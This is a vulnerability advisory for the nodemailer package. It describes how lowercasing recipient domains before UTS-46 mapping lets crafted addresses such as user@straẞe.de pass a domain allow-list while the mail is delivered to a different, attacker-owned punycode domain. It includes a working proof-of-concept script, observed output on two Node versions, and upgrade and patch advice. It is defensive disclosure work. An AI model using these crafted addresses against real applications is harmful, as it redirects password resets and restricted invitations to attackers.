Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nodemailer to version 10.4.1 or higher.
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Improper Validation of Specified Quantity in Input via _normalizeAddress in src/mime-node/index.ts, which lowercases recipient domains with JavaScript's toLowerCase() before passing them to url.domainToASCII for UTS-46 mapping. The two case-mapping algorithms differ for U+1E9E (capital sharp s, ẞ) and word-final U+03A3 (Σ): toLowerCase() maps ẞ to ß where Node 20 and 22's UTS-46 data maps it to ss, and maps word-final Σ to ς where UTS-46 gives σ. An attacker who submits an address such as user@straẞe.de can pass an application's allow-list check (which reads the domain as strasse.de) while nodemailer delivers the mail to the attacker-controlled domain xn--strae-oqa.de (straße.de). This bypasses the domain-validation fix introduced in GHSA-wmmp-3585-3rmp, allowing invitations, password-reset links, or shared documents restricted to approved domains to be delivered to an attacker-owned domain.
npm install nodemailer@10.3.1, save this as poc.js, and run node poc.js (no network needed; it uses jsonTransport and prints the envelope recipient):
// An app that only sends to allow-listed domains, checking them with Node's own // UTS-46 mapper (the WHATWG URL host parser), then hands the address to nodemailer. const { domainToASCII } = require('node:url'); const nodemailer = require('nodemailer');const ALLOWED = new Set(['strasse.de', 'business.com', 'αθηνασ1.gr'].map(domainToASCII)); const isAllowed = (addr) => ALLOWED.has(domainToASCII(addr.split('@').pop()));
const transport = nodemailer.createTransport({ jsonTransport: true });
(async () => { console.log('node', process.version, 'nodemailer', require('nodemailer/package.json').version); for (const to of ['user@evil.example', 'user@strasse.de', 'user@straẞe.de', 'user@busineẞ.com', 'user@ΑΘΗΝΑΣ1.gr']) { const checked = domainToASCII(to.split('@').pop()); if (!isAllowed(to)) { console.log(${to.padEnd(20)} check reads ${checked.padEnd(20)} rejected); continue; } const info = await transport.sendMail({ from: 'app@example.com', to, text: 'hello' }); const sent = info.envelope.to[0].split('@').pop(); console.log(${to.padEnd(20)} check reads ${checked.padEnd(20)} allowed, envelope to ${sent}${sent === checked ? '' : ' <-- different domain'}); } })();
Expected: every allowed address is sent to the domain the check read.
Observed on Node 22:
node v22.23.4 nodemailer 10.3.1
user@evil.example check reads evil.example rejected
user@strasse.de check reads strasse.de allowed, envelope to strasse.de
user@straẞe.de check reads strasse.de allowed, envelope to xn--strae-oqa.de <-- different domain
user@busineẞ.com check reads business.com allowed, envelope to xn--busine-gta.com <-- different domain
user@ΑΘΗΝΑΣ1.gr check reads xn--1-ylbaxe5a6b.gr allowed, envelope to xn--1-ylbaxe5azb.gr <-- different domain
Observed on Node 24 (its UTS-46 data maps ẞ to ß, so those rows are rejected; the Σ row still differs):
node v24.22.1 nodemailer 10.3.1
user@evil.example check reads evil.example rejected
user@strasse.de check reads strasse.de allowed, envelope to strasse.de
user@straẞe.de check reads xn--strae-oqa.de rejected
user@busineẞ.com check reads xn--busine-gta.com rejected
user@ΑΘΗΝΑΣ1.gr check reads xn--1-ylbaxe5a6b.gr allowed, envelope to xn--1-ylbaxe5azb.gr <-- different domain
The SMTP transport sends the same addresses: against a local listener, RCPT TO:<user@xn--strae-oqa.de> for user@straẞe.de on Node 22.
Suggested fix: pass the domain to normalizeDomain as supplied, and lowercase only for the bundled-codec fallback. I have a tested patch with a regression test: it fails before the change, and the address-related test files pass after it (726 tests on Node 22 and 24). Happy to send it.
Note: The PoC states it requires nodemailer 10.3.1 installed via npm, run with node poc.js using no network (jsonTransport), and was observed on Node v22.23.4 and v24.22.1.